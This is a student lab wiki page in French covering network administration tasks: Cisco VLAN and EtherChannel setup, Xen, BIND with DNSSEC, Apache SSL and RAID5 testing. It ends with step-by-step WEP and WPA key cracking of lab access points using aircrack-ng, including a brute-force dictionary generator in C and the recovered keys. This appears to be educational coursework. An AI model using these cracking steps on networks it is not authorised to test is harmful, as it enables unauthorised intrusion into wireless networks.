Cahier 2016 groupe n°7

De Wiki de Projets IMA
Révision datée du 8 décembre 2016 à 14:41 par Rruet (discussion | contributions) (Sécurisation des données)

Cahier des charges

Mise en réseau des commutateurs 6006 en E304

Avancement du travail

Configuration du 6006

-Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10

-Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11

-Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.

La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :

1 Switch-E304>enable
2 Switch-E304#vlan database
3 Switch-E304(vlan)#vlan x name nameX
4 Switch-E304(vlan)#exit

La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :

1 Switch-E304>enable
2 Switch-E304#conf t
3 Switch-E304(config)#interface GigabitEthernet 4/x
4 Switch-E304(config-if)#switchport
5 Switch-E304(config-if)#switchport access vlan x
6 Switch-E304(config-if)#no shutdown
7 Switch-E304(config-if)#end
8 Switch-E304#write memory (enregistrer la configuration)

Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :

5 Switch-E304(config-if)#switchport mode trunk

Installation de xen

 xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie 
 --dir=/usr/local/xen --gateway=193.48.57.172

Configuration d'une EtherChannel

Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.

Voici la commande à rentrer dans l'interface de configuration du commutateur :

1 Switch-E304>enable
2 Switch-E304#conf t
3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32
4 Switch-E304(config-if)#switchport
5 Switch-E304(config-if)#switchport mode trunk
6 Switch-E304(config-if)#channel-protocol lacp
7 Switch-E304(config-if)#channel-group 1 mode passive
8 Switch-E304(config-if)#no shutdown
9 Switch-E304(config-if)#end
10 Switch-E304#write memory (enregistrer la configuration)  

Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.

Serveur DNS et DNSSEC avec bind

La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi. Il faut alors se diriger sur la rubrique :Gérer les Glue records. A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :

nom du serveur : ns.bielloumutherfucker.space

IP : 193.48.57.167

On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique modifier les serveurs DNS :

DNS1 : ns.bielloumutherfucker.space

DNS2 : ns6.gandi.net (serveur secondaire de Gandi)

Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier /etc/bind de notre machine virtuelle.

Nous modifions dans un premier temps le fichier named.conf.local afin d'y créer nos zones :

zone "bielloumutherfucker.space" {
type master;
FIle "/etc/bind/zones/db.bielloumutherfucker.space";
allow-transfer {217.70.177.40; };
notify yes;	
};

nous créons ensuite un dossier zones à l'intérieur duquel nous créons notre fichier de zone db.bielloumutherfucker.space :

$TTL    604800
@       IN      SOA     ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (
                   2015102001         ; Serial
                        86400         ; Refresh
                         3600         ; Retry
                      2419200         ; Expire
                        86400 )       ; Negative Cache TTL

@       IN      NS      ns.bielloumutherfucker.space.
@       IN      NS      ns6.gandi.net.
ns      IN      A       193.48.57.167
www     IN      A       193.48.57.167
@	IN	A	193.48.57.167

Il nous faut ensuite modifier notre fichier /etc/resolv.conf afin de passer par notre serveur :

search bielloumutherfucker.space
nameserver 193.48.57.167

A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.

Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :

dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --> clef KSK
dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --> clef ZSK

Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).

Après les avoir placé dans le répertoire bielloumutherfucker.space.dnssec que nous avons crée, on les renomme selon le schéma suivant :

bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private
bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private

Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :

dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk 
zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk

Une nouvelle zone, signée, a donc été créée dans notre dossier zones. Il ne nous reste plus qu'à modifier le fichier named.conf.local en rajoutant un .signed à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.

service bind9 restart

Nous retournons sur le site de gandi et dans la rubrique gérer DNSSEC nous ajoutons notre clef publique avec l'algorithme RSASHA1. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site Zone Master, l'attribut DNSSEC est en effet coché et vert.

Dnssec.png

Sécurisation du site via certificat SSL

Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.

root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr
Generating a 2048 bit RSA private key
..................................................................+++
.........................................+++
writing new private key to 'Ironman.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord 
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

A partir de ce moment là, ls clefs ont été générées :

root@Ironman:/etc/apache2/sites-available/clef# ls
Ironman.csr  Ironman.key


Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.

De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:

[...]
admin: root

Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :

cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key
cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt
cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)

On effectue ensuite un rehash des certificats :

c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
bielloumutherfucker.space.crt => 6860aa7d.0
bielloumutherfucker.space.crt => 5692355e.0
ssl-cert-snakeoil.pem => a036afff.0
ssl-cert-snakeoil.pem => 4390636f.0
GandiStandardSSLCA2.pem => 8544bf03.0
GandiStandardSSLCA2.pem => e279a80b.0

On crée ensuite le fichier 000-bielloumutherfucker.space-ssl.conf dans le dossier /etc/apache2/sites-available :

#NameVirtualHost *:443
       <VirtualHost 193.48.57.167:443>
               ServerName www.bielloumutherfucker.space
               ServerAlias bielloumutherfucker.space
               DocumentRoot /var/www/html/
               CustomLog /var/log/apache2/secure_access.log combined
               SSLEngine on
               SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt
               SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key
               SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
               SSLVerifyClient None
       </VirtualHost>
       <Directory /var/www/html>
               Require all granted
       </Directory>
ServerName "bielloumutherfucker.space"

Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :

Listen 80 443
<IfModule ssl_module>
       Listen 443
</IfModule>
<IfModule mod_gnutls.c>
       Listen 443
</IfModule>

On doit ensuite autoriser apache à utiliser son module ssl :

a2enmod ssl

Puis on autorise notre site à utiliser ssl :

a2ensite 000-bielloumutherfucker.space-ssl.conf

Ensuite :

service apache2 restart
service apache2 reload

Maintenant, lorsqu'on se connecte sur notre site avec le préfixe "https://", le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.

Ssl.png

Sécurisation des données

root@Ironman:~# mdadm --detail /dev/md0
/dev/md0:
       Version : 1.2
 Creation Time : Thu Dec  8 16:52:21 2016
    Raid Level : raid5
    Array Size : 2095104 (2046.34 MiB 2145.39 MB)
 Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
  Raid Devices : 3
 Total Devices : 3
   Persistence : Superblock is persistent
   Update Time : Thu Dec  8 16:52:21 2016
         State : clean 
Active Devices : 3
Working Devices : 3
Failed Devices : 0
 Spare Devices : 0
        Layout : left-symmetric
    Chunk Size : 512K
          Name : Ironman:0  (local to host Ironman)
          UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9
        Events : 0
   Number   Major   Minor   RaidDevice State
      0     202       48        0      active sync   /dev/xvdd
      1     202       64        1      active sync   /dev/xvde
      2     202       80        2      active sync   /dev/xvdf


fichier de test sur le raid 5 (iron-man.txt):

root@Ironman:/datamd0# ls
lost+found  test_ironman.txt

première partion removed :

root@Ironman:~# mdadm --detail /dev/md0
/dev/md0:
       Version : 1.2
 Creation Time : Thu Dec  8 16:52:21 2016
    Raid Level : raid5
    Array Size : 2095104 (2046.34 MiB 2145.39 MB)
 Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
  Raid Devices : 3
 Total Devices : 2
   Persistence : Superblock is persistent
   Update Time : Thu Dec  8 17:05:13 2016
         State : clean, degraded 
Active Devices : 2
Working Devices : 2
Failed Devices : 0
 Spare Devices : 0
        Layout : left-symmetric
    Chunk Size : 512K
          Name : Ironman:0  (local to host Ironman)
          UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9
        Events : 6
   Number   Major   Minor   RaidDevice State
      0       0        0        0      removed
      1     202       64        1      active sync   /dev/xvde
      2     202       80        2      active sync   /dev/xvdf

fichier toujours présent :

root@Ironman:~# ls /datamd0/
lost+found  test_ironman.txt

On enlève la partition xvdf :

root@Ironman:~# mdadm --set-faulty /dev/md0 /dev/xvdf
[  196.176623] md/raid:md0: Disk failure on xvdf, disabling device.
[  196.176623] md/raid:md0: Operation continuing on 1 devices.
mdadm: set /dev/xvdf faulty in /dev/md0
root@Ironman:~# mdadm --remove /dev/md0 /dev/xvdf
[  229.573919] md: unbind<xvdf>
[  229.573933] md: export_rdev(xvdf)
mdadm: hot removed /dev/xvdf from /dev/md0

Crackage de clé WEP

Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP. Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2

On obtient l'écran suivant :

CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22                                         
                                                                                                                                    
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                    
04:DA:D2:CF:01:94  -74        0        0    0  -1  -1                    PolytechLille                                              
04:DA:D2:9C:50:57  -62        1        6    2   2  54e. WEP  WEP         cracotte08                                                 
04:DA:D2:9C:50:56  -67        2        0    0   2  54e. WEP  WEP         cracotte07                                                 
04:DA:D2:9C:50:54  -66        1        5    2   2  54e. WEP  WEP         cracotte05                                                 
04:DA:D2:9C:50:52  -63        1       80   38   2  54e. WEP  WEP         cracotte03                                                  
04:DA:D2:9C:50:53  -61        0       24   11   2  -1   WEP  WEP         <length:  0>                                                
04:DA:D2:9C:50:55  -68        1       14    6   2  54e. WEP  WEP         cracotte06                                                 
04:DA:D2:9C:50:50  -60        0       73   35   2  -1   WEP  WEP         <length:  0>                                               
04:DA:D2:9C:50:51  -63        1       52   25   2  54e. WEP  WEP         cracotte02                                                 
44:AD:D9:5F:87:00  -42        3        1    0   3  54e. WEP  WEP40       Wolverine                                                  
                                                                                                                                    
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                            
                                                                                                                                     
04:DA:D2:CF:01:94  00:0C:E7:91:C1:7D  -56    1e- 1e     0       13                                                                   
04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -68   54e-11e    15        5                                                                   
04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -72   36e- 5e     0        7                                                                   
04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -60   54e-48e    79       81                                                                   
04:DA:D2:9C:50:53  00:0F:B5:92:22:68  -64   48e-54e   111       24                                                                   
04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 -48e   128       13                                                                   
04:DA:D2:9C:50:50  00:0F:B5:92:23:75  -62   54e-54e    92       75                                                                   
04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -60   48e-48e    63       53                                                                   
(not associated)   9C:2A:83:45:F0:2D  -80    0 - 1      0        1                                                                   
(not associated)   8A:1B:9C:B1:EC:8C  -70    0 - 1      5        2                                                                   
44:AD:D9:5F:87:00  AC:5F:3E:59:90:D5  -40    0 - 1      0        2

Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :

airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2

On obtient l'écran suivant :

CH  2 ][ Elapsed: 8 s ][ 2016-03-31 20:30                                         
                                                                                                                                    
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                    
04:DA:D2:9C:50:55  -64   0       59      770   64   2  54e. WEP  WEP         cracotte06                                             
                                                                                                                                    
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                           
                                                                                                                                    
04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -68    6e-54e  5108      718 

Une fois le fichier de capture créé, nous avons exécuter la commande

aircrack cracotte06-01.cap

afin débuter le crackage de la clé WEP.

On obtient le résultat suivant en quelques minutes :

                [00:01:53] Tested 279622 keys (got 31535 IVs)
  KB    depth   byte(vote)
   0    0/  1   EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) 
   1    0/  1   EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) 
   2    0/  1   EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) 
   3    0/  1   EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) 
   4    0/  1   EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) 
   5    0/  1   EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) 
   6    0/  1   EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) 
   7    0/  2   EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) 
   8    0/  1   EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) 
   9    0/  3   7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) 
  10    0/  1   D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) 
  11    1/  1   A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) 
  12    0/  1   44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) 
            KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] 

Decrypted correctly: 100%

La clé a été trouver et sa valeur est "EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44"

Craquage de clé WPA

Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.

Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :

#include <stdio.h>
#include <stdlib.h>
#define MAX_NUM 99999999
int main(){
long chiffre = 0;
FILE* fp = NULL;
fp = fopen("dictionnaire.txt","a+");
	if (fp != NULL){
		for (chiffre=0;chiffre< MAX_NUM + 1;chiffre++)
		{
		fprintf(fp,"%08li\n",chiffre);
		}
	fclose(fp);
	}
return 0;
}

Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA :

1. On bascule l'interface wifi en mode monitor :

airmon-ng start wlan2

2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :

airodump-ng --encrypt WPA wlan2

On obtient le résultat suivant :

00:19:07:C5:0F:A4  -44        7        8    2   1  54e. WPA2 CCMP   MGT  PolytechLille                                              
00:19:07:C5:0F:A2  -48        5        0    0   1  54e. WPA2 CCMP   PSK  <length:  1>                                               
00:19:07:C5:0F:A5  -48        6        0    0   1  54e. WPA2 CCMP   PSK  <length:  1>                                               
00:19:07:C5:0F:A3  -50        7        0    0   1  54e. WPA2 CCMP   PSK  PolytechGuests                                             
00:19:07:C5:0F:A1  -50        7        0    0   1  54e. WPA2 CCMP   MGT  <length:  1>                                               
00:19:07:C5:0F:A7  -52        6        0    0   1  54e. WPA2 CCMP   MGT  PolytechLilleStaff                                         
00:19:07:C5:0F:A6  -52        5        0    0   1  54e. WPA2 CCMP   MGT  <length:  1>                                               
00:19:07:C5:0F:A0  -54        6        2    0   1  54e. WPA2 CCMP   MGT  LILLE1                                                     
00:19:07:C5:0F:A8  -55        5        5    0   1  54e. WPA2 CCMP   MGT  eduroam                                                    
04:DA:D2:9C:50:53  -62        5        0    0  13  54e. WPA2 CCMP   PSK  cracotte04                                                 
04:DA:D2:9C:50:52  -66        4        0    0  13  54e. WPA2 CCMP   PSK  cracotte03                                                 
04:DA:D2:9C:50:58  -66        4        0    0  13  54e. WPA2 CCMP   PSK  cracotte09                                                 
04:DA:D2:9C:50:50  -66        5        0    0  13  54e. WPA2 CCMP   PSK  cracotte01                                                 
04:DA:D2:9C:50:55  -65        6        0    0  13  54e. WPA2 CCMP   PSK  cracotte06                                                 
04:DA:D2:9C:50:56  -65        3        0    0  13  54e. WPA2 CCMP   PSK  cracotte07                                                 
04:DA:D2:9C:50:59  -67        4        0    0  13  54e. WPA2 CCMP   PSK  cracotte10                                                 
04:DA:D2:9C:50:54  -67        4        0    0  13  54e. WPA2 CCMP   PSK  cracotte05                                                 
04:DA:D2:9C:50:57  -66        4        0    0  13  54e. WPA2 CCMP   PSK  cracotte08                                                 
04:DA:D2:9C:50:51  -67        4        0    0  13  54e. WPA2 CCMP   PSK  cracotte02                                                 
04:DA:D2:CF:01:91  -69        2        0    0   5  54e. WPA2 CCMP   MGT  <length:  1>                                               
C8:00:84:84:00:53  -70        3        0    0   9  54e. WPA2 CCMP   PSK  PolytechGuests                                             
C8:00:84:84:00:52  -71        4        0    0   9  54e. WPA2 CCMP   PSK  <length:  1>                                               
04:DA:D2:CF:01:98  -70        2        0    0   5  54e. WPA2 CCMP   MGT  eduroam                                                    
04:DA:D2:CF:01:90  -71        3        0    0   5  54e. WPA2 CCMP   MGT  LILLE1                                                     
04:DA:D2:CF:01:95  -72        2        0    0   5  54e. WPA2 CCMP   PSK  <length:  1>                                               
04:DA:D2:CF:01:97  -72        2        0    0   5  54e. WPA2 CCMP   MGT  PolytechLilleStaff                                         
04:DA:D2:CF:01:96  -72        2        0    0   5  54e. WPA2 CCMP   MGT  <length:  1>

3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture

airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05

4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :

aircrack-ng -w dictionnaire.txt cracotte09-01.cap

5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :

passphrase : 12399909